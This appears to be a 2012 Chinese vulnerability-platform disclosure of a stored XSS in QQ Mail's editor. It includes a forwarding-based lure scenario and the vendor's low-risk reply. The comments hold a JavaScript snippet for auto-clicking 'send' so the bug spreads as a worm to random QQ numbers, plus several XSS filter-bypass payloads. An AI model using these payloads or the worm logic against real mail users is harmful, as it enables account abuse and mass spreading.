漏洞概要
关注数(24)
关注此漏洞
漏洞标题:QQ邮箱正文存储型XSS!
相关厂商:腾讯
提交时间:2012-06-10 10:10
修复时间:2012-07-25 10:11
公开时间:2012-07-25 10:11
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:18
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2012-06-10: 细节已通知厂商并且等待厂商处理中
2012-06-11: 厂商已经确认,细节仅向厂商公开
2012-06-21: 细节向核心白帽子及相关领域专家公开
2012-07-01: 细节向普通白帽子公开
2012-07-11: 细节向实习白帽子公开
2012-07-25: 细节向公众公开
简要描述:
昨天几个编辑器的XSS被说成是对XSS理解有问题,好是难过,也怪哥没有给出一个利用场景,主要是现在看见代码就心烦,今天找到一个利用场景,效果就不一样了,野鸭变凤凰了!
详细说明:
qq邮箱,同样是编辑器超链接的XSS,如果单纯只看此处,确实没有什么意义(其实我是想用这个XSS填充img标签测试XSS的,但你们编辑器填充方法代码难得找,你们自己熟悉代码测试一下(因为img标签没过滤!)),只能攻击自己。
测试浏览器环境:IE6
但处于编辑状态时它就能触发,除了自己写正文能触发外,还有什么地方能触发了?
对!那就是qq邮箱的转发功能会附带原邮件全文,并处于编辑器状态,以下给出一个利用场景:
漏洞证明:
我们可以构造一个转发邮件送Q币活动,为了使用户能够点击触发的网址的区域(触发区域比较大,也容易触发!),就要搞个网址上签名才能送Q币,流程很简单,自己看如图:
填充代码:
修复方案:
这回有理由去处理那些编辑器超链接的XSS了!哈哈!
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:1
确认时间:2012-06-11 11:13
厂商回复:
thanks,经过评估此风险较低,仍然感谢你的反馈。
最新状态:
暂无
漏洞评价:
评论
-
2012-06-10 11:24 |
shine ( 普通白帽子 | Rank:831 漏洞数:77 | coder)
怎么审核通过了?还以为没人理我了,正在精心构造场景(比上面的描述更真),可以加载外部js,获得当前用户“联系人”列表并提取qq邮箱,初次尝试写个蠕虫!现在唯一的问题就是利用js发送qq邮件,谁可以提供一下发送的js代码?(难得去看源代码)
-
2012-06-10 13:28 |
shine ( 普通白帽子 | Rank:831 漏洞数:77 | coder)
已解决!每次都忘记当前条件利用,当前就处于发送场景在,为什么要去用js去构造一个发送场景,触发后,在“收件人”处填充邮箱号码(也无需获取“联系人”列表了,可以随机生成一批号码(因为qq号码都是数字(免得用正则去过滤))),然后用js调用"发送"按钮事件就可以了!更简洁!代码: if (document.all){//如果支持ie,默认就有这个事件, document.getElementById('sendbtn').click(); }else { //否则,创建 var evt = document.createEvent("MouseEvents"); evt.initEvent("click", true, true); document.getElementById("sendbtn").dispatchEvent(evt); }所以这个XSS就更好利用了(因为有浏览器兼容问题,所有在填充处多填充几个触发标签即可(因为填充处没有限制长度!))。
-
2012-06-11 11:20 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
-
2012-06-11 11:21 |
shine ( 普通白帽子 | Rank:831 漏洞数:77 | coder)
-
2012-07-12 10:36 |
_Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
@shine QQ游戏HTML编辑的filterstyle='"background:url(http://"\"); width:expression(alert(document.cookie));"');变:style: '" Narrow? Arial width:expression(alert(document.cookie));??);FONT-FAMILY: ?\?);<div style={left:\0065\0078ression (alert('xss'))}></div>变<DIV (alert(?xss?))}></DIV><DIV style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-SIZE: 12px; PADDING-BOTTOM: 2px; PADDING-TOP: 2px" background:url="background:url" width:expression="width:expression" arial="arial" narrow="narrow">------------------ 原始邮件 ------------------</DIV>改<DIV style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-SIZE: 12px; PADDING-BOTTOM: 2px; PADDING-TOP: 2px" background:url="background:url" width:expression="alert(document.cookie)" arial="arial" narrow="narrow">------------------ 原始邮件 ------------------</DIV>变<DIV style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-SIZE: 12px; PADDING-BOTTOM: 2px; PADDING-TOP: 2px; FONT-FAMILY: Arial Narrow">------------------ 原始邮件 ------------------</DIV><img scr="#"/* */onerror=alert(/xss/) width=150></img>变<IMG width=150 scr="#"> <IMG width=150 scr="java	script:alert(/跨站/)">成功插进去不能弹。。。。。<img scr="java script:alert(/跨站/)" width="150">这个也是......... 空格用tab的<div style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-SIZE: 12px; PADDING-BOTTOM: 2px; PADDING-TOP: 2px" narrow="narrow" arial="arial" width:expression="alert(document.cookie)" background:url="background:url">------------------ 原始邮件 ------------------</div>我这样插进去了不能弹...<scr%00ipt>alert(1)</scr%00ipt> 思路一下,插入%00成功插入,不能弹....<STYLE type=text/css>XSS{background-image:url(alert(/xss/));}</STYLE>插入不能弹